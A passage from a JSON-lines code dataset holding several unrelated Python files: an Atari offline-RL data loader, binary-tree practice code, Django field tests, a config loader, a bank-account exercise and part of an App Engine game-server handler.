distances,\n        'masks': masks\n    }\n    return data_dict\n\ndef get_video_dataset_with_augmentation(game, atari_head=False):\n    if atari_head:\n        path = os.path.join(BASE_VIDEO_DIR, f'../atari_head_{game.lower()}.npz')\n    else:\n        path = os.path.join(BASE_VIDEO_DIR, f'{game.lower()}.npz')\n\n    # path = os.path.join(BASE_VIDEO_DIR, f'{game.lower()}.npz')\n    print('loading {}...'.format(path))\n    data = np.load(path)\n    observations = data['observations'].astype(np.uint8)\n    terminals = data['terminals']\n    distances = distance_from_beginning(terminals)\n    observations = np.pad(observations, ((0, 0), (8, 8), (8, 8)), 'edge')\n    print('After padding: ', observations.shape)\n    observations = np.lib.stride_tricks.sliding_window_view(observations, 4, 0)\n\n    masks = 1.0 - terminals\n    data_dict = {\n        'observations': observations,\n        'terminals': terminals,\n        'distances': distances,\n        'masks': masks\n    }\n    return data_dict\n\n\nclass OfflineEnv(gym.Env):\n    def __init__(self,\n                 game=None,\n                 index=None,\n                 start_epoch=None,\n                 last_epoch=None,\n                 stack=False,\n                 **kwargs):\n        super(OfflineEnv, self).__init__()\n        self.game = game\n        self.index = index\n        self.start_epoch = start_epoch\n        self.last_epoch = last_epoch\n        self.stack = stack\n\n    def get_dataset(self):\n        return get_dataset(self.game, self.index, range(self.start_epoch, self.last_epoch + 1), self.stack)\n\nclass Dataset:\n    def __init__(self, data_dict):\n        self.dataset = data_dict\n\n    def get_observations(self, idxs):\n        \"\"\"\n        Returns:\n            observations: (batch_size, 84, 84, 4) (does not mask out invalid observations)\n            valids: (batch_size, 4) (boolean mask of valid observations)\n\n            do `observations * valids[:, None, None, :]` to get the correctly masked observations\n\n        \"\"\"\n        observations = self.dataset['observations'][idxs]\n        distances = self.dataset['distances'][idxs + 3]\n        valids = np.stack([distances-3, distances-2, distances-1, distances], axis=-1) > 0\n        observations = observations # * valids[:, None, None, :]\n        if observations.shape[-2] != 84: # Need to crop\n            padding = (observations.shape[-2] - 84) // 2\n            crop_x = np.random.randint(0, padding * 2)\n            crop_y = np.random.randint(0, padding * 2)\n            observations = observations[:, crop_x:crop_x+84, crop_y:crop_y+84, :]\n        return observations, valids\n\n    def sample(self, batch_size, idxs=None):\n        if idxs is None:\n            idxs = np.random.randint(0, len(self.dataset['observations']) - 1, batch_size)\n        \n        observations, valids = self.get_observations(idxs)\n        next_observations, next_valids = self.get_observations(idxs + 1)\n\n        batch = {\n            k: v[idxs + 3] for k, v in self.dataset.items() if k != 'observations'\n        }\n        batch['observations'] = observations\n        batch['next_observations'] = next_observations\n        batch['valids'] = valids\n        batch['next_valids'] = next_valids\n        return batch\n\n    def sample_gc(self, batch_size, idxs=None, same_sg=0.1):\n        if idxs is None:\n            idxs = np.random.randint(0, len(self.dataset['observations']) - 1, batch_size)\n        \n        goal_idxs = np.clip(idxs + 1 + np.random.choice(100, batch_size), 0, len(self.dataset['observations']) - 1)\n        same_goal = np.random.rand(batch_size) < same_sg\n        goal_idxs = np.where(same_goal, idxs, goal_idxs)    \n\n        observations, valids = self.get_observations(idxs)\n        next_observations, next_valids = self.get_observations(idxs + 1)\n        goal_observations, goal_valids = self.get_observations(goal_idxs)\n\n        batch = {\n            k: v[idxs + 3] for k, v in self.dataset.items() if k != 'observations'\n        }\n        batch['observations'] = observations\n        batch['next_observations'] = next_observations\n        batch['goals'] = goal_observations\n        batch['valids'] = valids\n        batch['next_valids'] = next_valids\n        batch['goal_valids'] = goal_valids\n\n        batch['rewards'] = same_goal.astype(np.float32)\n        return batch\n    \n    def sample_gcz(self, batch_size, idxs=None, same_sg=0.1, same_gz=0.1):\n        if idxs is None:\n            idxs = np.random.randint(0, len(self.dataset['observations']) - 1, batch_size)\n        \n        goal_dists = np.random.choice(100, batch_size)\n        goal_idxs = np.clip(idxs + 1 + goal_dists, 0, len(self.dataset['observations']) - 1)\n        same_goal = np.random.rand(batch_size) < same_sg\n        goal_idxs = np.where(same_goal, idxs, goal_idxs)\n\n        intent_goal_dists = np.random.choice(100, batch_size)\n        intent_goal_idxs = np.clip(goal_idxs + intent_goal_dists, 0, len(self.dataset['observations']) - 1)\n        same_intent_goal = np.random.rand(batch_size) < same_gz\n        intent_goal_idxs = np.where(same_intent_goal, goal_idxs, intent_goal_idxs)\n\n        observations, valids = self.get_observations(idxs)\n        next_observations, next_valids = self.get_observations(idxs + 1)\n        goal_observations, goal_valids = self.get_observations(goal_idxs)\n        intent_goal_observations, intent_goal_valids = self.get_observations(intent_goal_idxs)\n\n        batch = {\n            k: v[idxs + 3] for k, v in self.dataset.items() if k != 'observations'\n        }\n\n        batch['observations'] = observations\n        batch['next_observations'] = next_observations\n        batch['goals'] = goal_observations\n        batch['desired_goals'] = intent_goal_observations\n        batch['valids'] = valids\n        batch['next_valids'] = next_valids\n        batch['goal_valids'] = goal_valids\n        batch['intent_goal_valids'] = intent_goal_valids\n\n        batch['rewards'] = (goal_idxs == idxs).astype(np.float32) - 1.0\n        batch['desired_rewards'] = (intent_goal_idxs == idxs).astype(np.float32) - 1.0\n\n        batch['masks'] = (goal_idxs != idxs).astype(np.float32)\n        batch['desired_masks'] =  (intent_goal_idxs != idxs).astype(np.float32)\n\n        return batch","repo_name":"dibyaghosh/icvf_release","sub_path":"icvf_envs/atari/offline_env.py","file_name":"offline_env.py","file_ext":"py","file_size_in_byte":11763,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"35"}
{"seq_id":"13896734450","text":"'''\r\nbinary tree (BST) is similar to set in python\r\n- every node has at most 2 child nodes\r\n\r\n'''\r\n\r\n\r\nfrom sre_constants import AT_END_STRING\r\n\r\n\r\nmy_tree = [\r\n    \"a\",  # root\r\n        [\"b\",  # left subtree\r\n            [\"d\", [], []],\r\n            [\"e\", [], []]\r\n        ],\r\n        [\"c\",  # right subtree\r\n            [\"f\", [], []],\r\n            []\r\n        ],\r\n    ]\r\n\r\n\r\n#define left, root, and right subtree\r\n'''\r\nprint('left tree: {}'.format(my_tree[1]))\r\nprint('root tree: {}'.format(my_tree[0]))\r\nprint('right tree: {}'.format(my_tree[2]))\r\n'''\r\n\r\n#making the binary tree\r\n'''\r\none of the worst ways to represent a binary tree\r\nstay away from this crap!!!\r\n'''\r\ndef make_binary_tree(root):\r\n    '''constructs a list with root node & 2 empty sublists for the children'''\r\n    return [root, [], []]\r\n\r\ndef insert_left(root, new_child):\r\n    old_child = root.pop(1) \r\n    if len(old_child) > 1: #if list has somethign in the 2nd position\r\n        root.insert(1, [new_child, old_child, []])\r\n    else:\r\n        root.insert(1, [new_child, [], []])\r\n    return root\r\n\r\ndef insert_right(root, new_child):\r\n    old_child = root.pop(2)\r\n    if len(old_child) > 1:\r\n        root.insert(2, [new_child, [], old_child])\r\n    else:\r\n        root.insert(2, [new_child,[], []])\r\n    \r\n    return root\r\n\r\ndef get_root_val(root):\r\n    return root[0]\r\n\r\ndef set_root_val(root, new_value):\r\n    root[0] = new_value\r\n\r\ndef get_left_child(root):\r\n    return root[1]\r\n\r\ndef get_right_child(root):\r\n    return root[2]\r\n\r\n\r\n\r\n\r\n\r\n\r\n#it works thanks indiann dude\r\nclass BinarySearchTreeNode():\r\n    def __init__(self,data):\r\n        self.data = data\r\n        self.left = None\r\n        self.right = None\r\n\r\n    def add_child(self,data):\r\n        if data == self.data:\r\n            return\r\n        \r\n        if data < self.data: #assuming that the left subtree datas are smaller than the right subtree data\r\n            #add data to the left subtree\r\n            if self.left: #if theres already a data in the left node\r\n                self.left.add_child(data)\r\n            else:#if theres no data in the left node\r\n                self.left = BinarySearchTreeNode(data)\r\n        else:\r\n            #add data in right subtree\r\n            if self.right: #if theres already a data in the right node\r\n                self.right.add_child(data)\r\n            else:#if theres no data in the right node\r\n                self.right = BinarySearchTreeNode(data)\r\n\r\n    def in_order_traversal(self):\r\n        elements = []\r\n\r\n        #visit left tree\r\n        if self.left:\r\n            elements += self.left.in_order_traversal()\r\n        #visit base node\r\n        elements.append(self.data)\r\n\r\n        #visit right tree:\r\n        if self.right:\r\n            elements += self.right.in_order_traversal()\r\n\r\n\r\n        return elements\r\n\r\n    \r\ndef build_tree(elements):\r\n    root = BinarySearchTreeNode(elements[0])\r\n\r\n    for i in range(1, len(elements)):\r\n        root.add_child(elements[i])\r\n\r\n    return root\r\n\r\n'''\r\n#test cases\r\nif __name__ == '__main__':\r\n    numbers = [17,4,1,20,9,23,18,34]\r\n    numbers_tree = build_tree(numbers)\r\n\r\n    print(numbers_tree.in_order_traversal())\r\n'''\r\n'''\r\nclass BinaryTree:\r\n    def __init__(self,root_obj):\r\n        self.key = root_obj\r\n        self.left_child = None\r\n        self.right_child = None\r\n\r\n    def insert_left(self, new_node):\r\n        if self.left_child is None:\r\n            #when theres no left child, simply add left node to the tree\r\n            self.left_child = BinaryTree(new_node)\r\n        else:\r\n            #existign left child, insert a node & push existign child down one level in the tree\r\n            new_child = BinaryTree(new_node)\r\n            new_child.left_child = self.left_child\r\n            self.left_child = new_child #the new child becomes the parent, the prev becomes the child\r\n\r\n    def insert_right(self, new_node):\r\n        if self.right_child is None:\r\n            self.right_child = BinaryTree(new_node)\r\n        else:\r\n            new_child = BinaryTree(new_node)\r\n            new_child.right_child = self.right_child\r\n            self.right_child = new_child\r\n\r\n    def get_root_val(self):\r\n        return self.key\r\n    \r\n    def set_root_val(self, new_obj):\r\n        self.key = new_obj\r\n    \r\n    def get_left_child(self):\r\n        return self.left_child\r\n\r\n    def get_right_child(self):\r\n        return self.right_child\r\n\r\n'''\r\n'''\r\na_tree = BinaryTree(\"a\")\r\nprint(a_tree.get_root_val())\r\nprint('=======')\r\na_tree.insert_left(\"b\")\r\nprint(a_tree.get_left_child().get_root_val())\r\nprint('=======')\r\nl_tree = a_tree.get_left_child()\r\nl_tree.insert_right('d')\r\nl_tree.insert_left('idk')\r\nprint(a_tree.get_left_child().get_right_child().get_root_val())\r\nprint('=======')\r\na_tree.insert_right(\"c\")\r\nprint(a_tree.get_right_child().get_root_val())\r\nprint('=======')\r\nr_tree = a_tree.get_right_child()\r\nr_tree.insert_right('e')\r\nr_tree.insert_left('eee')\r\n\r\nr2_tree = r_tree.get_right_child()\r\nr2_tree.insert_right('g')\r\nr2_tree.insert_left('h')\r\n\r\nr3_tree = r_tree.get_left_child()\r\nr3_tree.insert_left('mom')\r\n\r\nr4_tree = r2_tree.get_right_child()\r\nr4_tree.insert_right('donkey')\r\nr4_tree.insert_left('moonki')\r\n\r\nprint(a_tree.get_right_child().get_right_child().get_root_val()) #e (seeing it from left->right)\r\nprint('==========')\r\nprint(a_tree.get_right_child().get_right_child().get_right_child().get_root_val())\r\nprint(a_tree.get_right_child().get_right_child().get_left_child().get_root_val())\r\n\r\n'''\r\n\r\nmathops = '(3+(4*5))'\r\n\r\ndef tokenize(string):\r\n    new_list = list()\r\n    for char in string:\r\n        new_list.append(char)\r\n    \r\n    return new_list\r\n\r\n#print(tokenize(mathops))\r\n\r\n#tree traversals: preorder, inorder, postorder\r\n'''\r\npreorder: we vist the root node first, then recursively do a preorder traversal\r\nof the left subtree, followed by a recursive preorder traversal of the right subtree\r\n\r\ninorder: recursively do an inorder traversal on the left subtree, visis the root node, &\r\nfinally do a recursive inorder traversal of the right subtree\r\n\r\npostorder: in a postorder traversal, we recursively do a postorder traversal\r\nof the left subtree and the right subtree followed by a visit to the root node\r\n\r\n'''\r\nclass BinaryTree:\r\n    def __init__(self,root_obj):\r\n        self.key = root_obj\r\n        self.left_child = None\r\n        self.right_child = None\r\n\r\n    def insert_left(self, new_node):\r\n        if self.left_child is None:\r\n            #when theres no left child, simply add left node to the tree\r\n            self.left_child = BinaryTree(new_node)\r\n        else:\r\n            #existign left child, insert a node & push existign child down one level in the tree\r\n            new_child = BinaryTree(new_node)\r\n            new_child.left_child = self.left_child\r\n            self.left_child = new_child #the new child becomes the parent, the prev becomes the child\r\n\r\n    def insert_right(self, new_node):\r\n        if self.right_child is None:\r\n            self.right_child = BinaryTree(new_node)\r\n        else:\r\n            new_child = BinaryTree(new_node)\r\n            new_child.right_child = self.right_child\r\n            self.right_child = new_child\r\n\r\n    def get_root_val(self):\r\n        return self.key\r\n    \r\n    def set_root_val(self, new_obj):\r\n        self.key = new_obj\r\n    \r\n    def get_left_child(self):\r\n        return self.left_child\r\n\r\n    def get_right_child(self):\r\n        return self.right_child\r\n\r\n    \r\na_tree = BinaryTree(\"a\")\r\n#print(a_tree.get_root_val())\r\n#print('=======')\r\na_tree.insert_left(\"b\")\r\n#print(a_tree.get_left_child().get_root_val())\r\n#print('=======')\r\nl_tree = a_tree.get_left_child()\r\nl_tree.insert_right('d')\r\nl_tree.insert_left('idk')\r\n#print(a_tree.get_left_child().get_right_child().get_root_val())\r\n#print('=======')\r\na_tree.insert_right(\"c\")\r\n#print(a_tree.get_right_child().get_root_val())\r\n#print('=======')\r\nr_tree = a_tree.get_right_child()\r\nr_tree.insert_right('e')\r\nr_tree.insert_left('eee')\r\n\r\nr2_tree = r_tree.get_right_child()\r\nr2_tree.insert_right('g')\r\nr2_tree.insert_left('h')\r\n\r\nr3_tree = r_tree.get_left_child()\r\nr3_tree.insert_left('mom')\r\n\r\nr4_tree = r2_tree.get_right_child()\r\nr4_tree.insert_right('donkey')\r\nr4_tree.insert_left('moonki')\r\n\r\ndef preorder(tree):\r\n    result = ''\r\n    if tree:\r\n        result = '(' + tree.get_root_val()\r\n        result = result + str(preorder(tree.get_left_child()))\r\n        result = result + preorder(tree.get_right_child()) + ')' \r\n    \r\n    return result\r\n\r\n\r\n\r\ndef postorder(tree):\r\n    new_list = list()\r\n    if tree:\r\n        new_list.append(postorder(tree.get_left_child()))\r\n        new_list.append(postorder(tree.get_right_child()))\r\n        new_list.append(tree.get_root_val())\r\n    \r\n    return new_list\r\n\r\n\r\ndef inorder(tree):\r\n    new_list = list()\r\n    if tree:\r\n        new_list.append(inorder(tree.get_left_child()))\r\n        new_list.append(tree.get_root_val())\r\n        new_list.append(inorder(tree.get_right_child()))\r\n    \r\n    return new_list\r\n\r\n\r\nprint(preorder(a_tree))\r\nprint(postorder(a_tree))\r\nprint(inorder(a_tree))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"bkha0016/MOOC-Practice","sub_path":"Runestone Academy with Algo and Data Struct/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":9094,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"4133672690","text":"import json\nfrom typing import List\nfrom unittest import skip\nfrom unittest.mock import patch\n\nimport django\nimport os\nimport unittest\n\nfrom django.core.exceptions import ValidationError\n\nfrom rest_framework_simplify.fields import SimplifyJsonTextField\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'test_proj.settings'\ndjango.setup()\n\nfrom test_app.tests.helpers import DataGenerator\nfrom test_app.models import EncryptedClass, EncryptedClassNoDisplayChars, JsonTextFieldClass\n\n\nclass CustomFieldTests(unittest.TestCase):\n    def test_encrypted_field_returns_decrypted_value(self):\n        value = '123456789'\n        encrypted_class = DataGenerator.set_up_encrypted_class(value=value)\n\n        encrypted_return = EncryptedClass.objects.get(id=encrypted_class.id)\n\n        self.assertEqual(value[-4:], encrypted_return.encrypted_val[-4:])\n        self.assertEqual(len(encrypted_return.encrypted_val), 4)\n\n    def test_encrypted_field_returns_decrypted_value(self):\n        value = '1234 56789 937395'\n        encrypted_class = DataGenerator.set_up_encrypted_class(value=value)\n\n        encrypted_return = EncryptedClass.objects.get(id=encrypted_class.id)\n\n        self.assertEqual(value[-4:], encrypted_return.encrypted_val[-4:])\n        self.assertEqual(len(encrypted_return.encrypted_val), 4)\n\n    def test_encrypted_field_returns_full_descrypted_value(self):\n        value = '123456789abcdefgfff'\n        encrypted_class = DataGenerator.set_up_encrypted_class_with_no_display_value(value=value)\n\n        encrypted_return = EncryptedClassNoDisplayChars.objects.get(id=encrypted_class.id)\n\n        self.assertEqual(value, encrypted_return.encrypted_val)\n\n    def test_json_text_field_accepts_json_value(self):\n        value = '123456789'\n        encrypted_class = DataGenerator.set_up_encrypted_class(value=value)\n\n        encrypted_return = EncryptedClass.objects.get(id=encrypted_class.id)\n\n        self.assertEqual(value[-4:], encrypted_return.encrypted_val[-4:])\n        self.assertEqual(len(encrypted_return.encrypted_val), 4)\n\n    class JsonTextFieldTests(unittest.TestCase):\n\n        @patch.object(SimplifyJsonTextField, 'to_python')\n        def test_json_text_field_calls_mock_to_python_when_set(self, mock_to_python):\n            # arrange\n            mock_to_python.return_value = []\n            json_text = json.loads('[{ \"description\": \"isn\\'t it beautiful outside?\" }]')\n\n            # act\n            jt_class = DataGenerator.set_up_json_text_field_class(\n                json_text=json_text)\n\n            # assert\n            self.assertTrue(mock_to_python.called)\n\n        @patch.object(SimplifyJsonTextField, 'from_db_value')\n        def test_json_text_field_calls_mock_from_db_value_when_retrieved_from_db(self, mock_from_db):\n            # arrange\n            mock_from_db.return_value = []\n            json_text = json.loads('[{ \"description\": \"isn\\'t it beautiful outside?\" }]')\n            jt_class = DataGenerator.set_up_json_text_field_class(\n                json_text=json_text)\n\n            # act\n            jt_return = JsonTextFieldClass.objects.get(id=jt_class.id)\n\n            # assert\n            self.assertTrue(mock_from_db.called)\n\n        def test_json_text_field_returns_json_value_as_list(self):\n            # arrange\n            json_text = json.loads('[{ \"description\": \"isn\\'t it beautiful outside?\" }]')\n            jt_class = DataGenerator.set_up_json_text_field_class(\n                json_text=json_text)\n\n            # act\n            jt_return = JsonTextFieldClass.objects.get(id=jt_class.id)\n\n            # assert\n            self.assertIsNotNone(jt_return)\n            self.assertTrue(isinstance(jt_return.json_text, List))\n\n        def test_json_text_field_returns_json_value_as_list_when_to_python_called_twice(self):\n            # arrange\n            json_text = [{ \"description\": \"isn\\'t it beautiful outside?\" }]\n            jt_class = DataGenerator.set_up_json_text_field_class(\n                json_text=json_text)\n\n            jt_class.json_text = json.dumps(json_text)\n            jt_class.save()\n\n            # act\n            jt_return = JsonTextFieldClass.objects.get(id=jt_class.id)\n\n            # assert\n            self.assertIsNotNone(jt_return)\n            self.assertTrue(isinstance(jt_return.json_text, List))\n\n        def test_json_text_field_returns_json_value_as_object(self):\n            # arrange\n            json_text = json.loads('{ \"description\": \"isn\\'t it beautiful outside?\" }')\n            jt_class = DataGenerator.set_up_json_text_field_class(\n                json_text=json_text)\n\n            # act\n            jt_return = JsonTextFieldClass.objects.get(id=jt_class.id)\n\n            # assert\n            self.assertIsNotNone(jt_return)\n            self.assertTrue(isinstance(jt_return.json_text, dict))\n\n        def test_json_text_field_returns_json_value_as_none(self):\n            # arrange\n            json_text = None\n            jt_class = DataGenerator.set_up_json_text_field_class(\n                json_text=json_text)\n\n            # act\n            jt_return = JsonTextFieldClass.objects.get(id=jt_class.id)\n\n            # assert\n            self.assertIsNone(jt_return.json_text)\n\n        def test_json_text_field_throws_error_when_json_in_database_is_malformed(self):\n            # arrange\n            json_text_in_db = '[{ \\'description\\':: \\'isn\\'t it beautiful outside?\\' }]'\n\n            # act\n            jt_class = DataGenerator.set_up_json_text_field_class(\n                json_text=json_text_in_db)\n\n            # act / assert\n            with self.assertRaises(ValidationError) as ex:\n                jt_return = JsonTextFieldClass.objects.get(id=jt_class.id)\n            self.assertEqual(ex.exception.args[0], SimplifyJsonTextField.\n                             ErrorMessages.INVALID_DB_VALUE.format(json_text_in_db))\n","repo_name":"Skylude/django-rest-framework-simplify","sub_path":"test_app/tests/test_fields.py","file_name":"test_fields.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"40909179166","text":"\"\"\"\n@author: bigwind\n@time: 2022-06-06\n@usage: load config file\n\"\"\"\nimport argparse\nimport os\nfrom collections import defaultdict\nfrom configparser import ConfigParser\n\n\ndef get_local_settings(conf=None):\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-c\", \"--conf\", default=\"app.conf\", help=\"config file path\")\n    parser.add_argument(\"-p\", \"--procname\", default=\"default\", help=\"process name for instance management\")\n    namespace, unrecognized_options = parser.parse_known_args()\n    if conf is None:\n        conf = namespace.conf\n    proc_name = namespace.procname\n\n    if unrecognized_options:\n        print(\"WARNING: Unrecognized args: %s\" % unrecognized_options)\n\n    parser = ConfigParser()\n\n    parser.read(conf, encoding=\"utf8\")\n\n    if not parser.sections():\n        raise IOError(\"Failed to load config from file %s in %s\" % (conf, os.getcwd()))\n\n    conf_dict = defaultdict(dict)\n\n    conf_dict[\"GLOBAL\"][\"PROC_NAME\"] = proc_name\n\n    for section_name in parser.sections():\n        for key, value in parser[section_name].items():\n            key = key.upper()\n            try:\n                conf_dict[section_name][key] = int(value)\n            except ValueError:\n                try:\n                    conf_dict[section_name][key] = float(value)\n                except ValueError:\n                    if value.upper() == \"TRUE\":\n                        conf_dict[section_name][key] = True\n                    elif value.upper() == \"FALSE\":\n                        conf_dict[section_name][key] = False\n                    else:\n                        conf_dict[section_name][key] = value\n\n    return conf_dict  # ReadOnlyDict(conf_dict)\n\n\nCONFIG_SECTIONS = get_local_settings('./config/app.conf')\n\nCONFIG = dict(CONFIG_SECTIONS[\"GLOBAL\"])\n\nCONFIG.update(CONFIG_SECTIONS[\"PROD\"])\n","repo_name":"larrywind/aircraft-vue-django","sub_path":"config/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"20440565635","text":"# add imports, if necessary\nfrom public.exchange_rates import EXCHANGE_RATES\nfrom public.currency_converter import convert\n\n\nclass BankAccount:\n\n    def __init__(self, currency=\"CHF\"):\n\n        if not self.__check_currency(currency)[0]:\n            raise Warning(\"No exchange rate available\")\n\n        self._currency = currency\n        self._deposit = 0\n\n    @staticmethod\n    def __check_currency(currency):\n\n        \"\"\"\n        returns a tuple.\n        First bool indicates whether the currency is valid\n        second bool indicates whether you have to invert your calculations\n        \"\"\"\n\n        if currency not in list(EXCHANGE_RATES.keys()):\n            return False, False\n\n        for i in EXCHANGE_RATES.keys():\n            for j in EXCHANGE_RATES[i].keys():\n                if j == currency:\n                    return True, True\n\n        return True, False\n\n    def get_currency(self):\n        return self._currency\n\n    def get_balance(self):\n        return self._deposit\n        \n    def deposit(self, amount, currency=\"CHF\"):\n        inverted = self.__check_currency(currency)[1]\n\n        if not self.__check_currency(currency)[0]:\n            raise Warning(\"no exchange rate available\")\n\n        if type(amount) != float and type(amount) != int:\n            raise Warning(\"please provide float or int\")\n\n        if amount < 0:\n            raise Warning(\"please provide a positive amount\")\n\n        if currency != self._currency:\n            if not inverted:\n                self._deposit += convert(amount, self._currency, currency)\n\n            if inverted:\n                self._deposit += convert(amount, currency, self._currency)\n\n        else:\n            self._deposit += amount\n\n    def withdraw(self, amount, currency=\"CHF\"):\n        inverted = self.__check_currency(currency)[1]\n\n        if not self.__check_currency(currency)[0]:\n            raise Warning(\"no exchange rate available\")\n\n        if type(amount) != float and type(amount) != int:\n            raise Warning(\"please provide float or int\")\n\n        if amount < 0:\n            raise Warning(\"please provide a positive amount\")\n\n        if currency != self._currency:\n            if not inverted:\n                self._deposit -= convert(amount, self._currency, currency)\n\n            if inverted:\n                self._deposit -= convert(amount, currency, self._currency)\n        else:\n            self._deposit -= amount\n\n        if self._deposit < 0:\n            self._deposit += amount\n            raise Warning(\"The bank balance can not go below 0\")\n\n\nif __name__ == '__main__':\n    b = BankAccount()\n    b.deposit(100, \"JPY\")\n    b.withdraw(200, \"JPY\")\n    print(b.get_balance())\n","repo_name":"Samy1101/UZH-Exercises","sub_path":"E10T1/bank_account.py","file_name":"bank_account.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"11318522808","text":"import webapp2\nfrom google.appengine.ext import ndb\nfrom google.appengine.ext import db\nfrom google.appengine.api import users\n\nclass GameData(ndb.Model):\n    bot_1_id = ndb.IntegerProperty()\n    bot_1_ready = ndb.IntegerProperty()\n    bot_1_time = ndb.IntegerProperty()\n    \n    bot_2_id = ndb.IntegerProperty()\n    bot_2_ready = ndb.IntegerProperty()    \n    bot_2_time = ndb.IntegerProperty()\n    \n    game_start = ndb.IntegerProperty()    \n    findKey = ndb.StringProperty()\n\nclass GameDataMgr:\n    queryData = 0\n    bot_1_id = 0\n    bot_2_id = 0\n    bot_1_rdy = 0\n    bot_2_rdy = 0\n    game_start = 0\n    bot_1_time = 0\n    bot_2_time = 0\n\n    def dataClear(self):\n        ndb.delete_multi(GameData.query().fetch(keys_only=True))\n    \n    def dataReset(self):\n        self.dataClear()\n        data = GameData(bot_1_id=0, bot_1_ready=0, bot_2_id=0, bot_2_ready=0, game_start=0, bot_1_time=0, bot_2_time=0, findKey='db')\n        data.put()\n\n    def loadDB(self):\n        query = GameData.query()\n        query = GameData.query(GameData.findKey == 'db')\n        self.queryData = query.fetch(1)\n        self.bot_1_id = self.parseValue('bot_1_id')\n        self.bot_2_id = self.parseValue('bot_2_id')\n        self.bot_1_rdy = self.parseValue('bot_1_ready')\n        self.bot_2_rdy = self.parseValue('bot_2_ready')\n        self.game_start = self.parseValue('game_start')\n        self.bot_1_time = self.parseValue('bot_1_time')\n        self.bot_2_time = self.parseValue('bot_2_time')        \n\n    def parseValue(self, findVariable):\n        queryString = str(self.queryData)\n        startPos = queryString.find(findVariable)+len(findVariable)+1\n        endPos = queryString.find(',', startPos)\n\n        if endPos == -1:\n            endPos = queryString.find(')]', startPos)\n\n        strlength = endPos - startPos\n        strnum = \"\"\n\n        for i in range(strlength):\n            strnum += queryString[startPos+i]\n        \n        return int(strnum)\n    \n    def updateDB(self):\n        bot1id = self.bot_1_id\n        bot2id = self.bot_2_id\n        bot1rdy = self.bot_1_rdy\n        bot2rdy = self.bot_2_rdy\n        bot1time = self.bot_1_time\n        bot2time = self.bot_2_time\n        gs = self.game_start\n\n        self.dataClear()\n\n        data = GameData(bot_1_id=0, bot_1_ready=0, bot_2_id=0, bot_2_ready=0, game_start=0, bot_1_time=0, bot_2_time=0, findKey='db')\n        data.bot_1_id = int(bot1id)\n        data.bot_2_id = int(bot2id)\n        data.bot_1_ready = int(bot1rdy)\n        data.bot_2_ready = int(bot2rdy)\n        data.game_start = int(gs)\n        data.bot_1_time = int(bot1time)\n        data.bot_2_time = int(bot2time)\n\n        data.put()\n\nclass MainHandler(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n\n        test = str(self.request.get_all('botid'))\n        self.response.write(test)\n        self.response.write('<h1>Server status</h1><br><br>')\n        self.response.write('bot 1 : ')\n\n        if mgr.bot_1_id == 1:\n            output = 'log on'\n        else:\n            output = 'log off'\n\n        self.response.write(output+'<br><br>')\n\n        self.response.write('bot 2 : ')\n\n        if mgr.bot_2_id == 1:\n            output = 'log on'\n        else:\n            output = 'log off'\n\n        self.response.write(output+'<br><br>')\n\n        self.response.write('bot 1 : ')\n\n        if mgr.bot_1_rdy == 1:\n            output = 'ready'\n        else:\n            output = 'wait'\n\n        self.response.write(output+'<br><br>')\n        self.response.write('bot 2 : ')\n\n        if mgr.bot_1_rdy == 1:\n            output = 'ready'\n        else:\n            output = 'wait'\n\n        self.response.write(output+'<br><br>')\n\n        #\n        self.response.write('bot 1 : ')\n        self.response.write(str(mgr.bot_1_time)+'<br><br>')\n        self.response.write('bot 2 : ')\n        self.response.write(str(mgr.bot_2_time)+'<br><br>')\n        #\n\n        self.response.write('Game Start : ')\n        if mgr.game_start == 1:\n            output = 'start'\n        else:\n            output = 'not start'\n\n        self.response.write(output)\n\n\nclass GetBotID(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n\n        bot1id = mgr.parseValue('bot_1_id')\n        bot2id = mgr.parseValue('bot_2_id')\n\n        if bot1id == 0:\n            self.response.write(5)\n            mgr.bot_1_id = 1\n        elif bot2id == 0:\n            self.response.write(6)\n            mgr.bot_2_id = 1\n        else:\n            self.response.write('false')\n\n        mgr.updateDB()\n\nclass GameDBReset(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.dataReset()\n        self.response.write('clear success')\n\nclass Ready(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n        \n        strid = str(self.request.get_all('botid'))\n        pos = strid.find('\\'')\n        \n        botid = int(strid[pos+1])\n\n        if botid == 5 and mgr.bot_1_id == 1:\n            mgr.bot_1_rdy = 1\n        elif botid == 6 and mgr.bot_2_id == 1:\n            mgr.bot_2_rdy = 1\n        else:\n            self.response.write('ready fail')\n            return\n\n        self.response.write('on ready')\n        mgr.updateDB()\n\nclass CheckAllReady(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n\n        if mgr.bot_1_rdy == 1 and mgr.bot_2_rdy == 1:\n            self.response.write('all ready')\n        else:\n            self.response.write('fail')\n\nclass AdminStart(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n\n        if mgr.bot_1_rdy == 1 and mgr.bot_2_rdy == 1:\n            self.response.write('start')\n            mgr.game_start = 1\n            mgr.updateDB()\n        else:\n            self.response.write('fail')\n\nclass GetStart(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        mgr.loadDB()\n\n        if mgr.game_start == 1:\n            self.response.write('start')\n        else:\n            self.response.write('fail')\n\nclass Arrive(webapp2.RequestHandler):\n    def get(self):\n        mgr = GameDataMgr()\n        